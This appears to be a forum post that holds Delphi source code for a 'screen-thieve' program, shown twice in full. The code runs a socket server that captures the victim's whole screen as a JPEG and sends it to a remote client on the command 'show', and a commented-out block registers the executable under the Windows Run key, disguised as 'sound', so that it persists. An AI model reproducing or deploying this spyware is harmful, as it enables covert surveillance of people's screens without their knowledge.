大
大狗熊
Unregistered / Unconfirmed
GUEST, unregistred user!
unit Unit_server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
procedure sendscreen();
procedure snapscreen();
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;
procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;
procedure TForm1.FormCreate(Sender: TObject);
{var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE/screen-thieve') then begin
reg.CreateKey ('SOFTWARE/screen-thieve');
reg.OpenKey ('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ; }
begin
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;
end.
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
procedure sendscreen();
procedure snapscreen();
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;
procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;
procedure TForm1.FormCreate(Sender: TObject);
{var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE/screen-thieve') then begin
reg.CreateKey ('SOFTWARE/screen-thieve');
reg.OpenKey ('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ; }
begin
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;
end.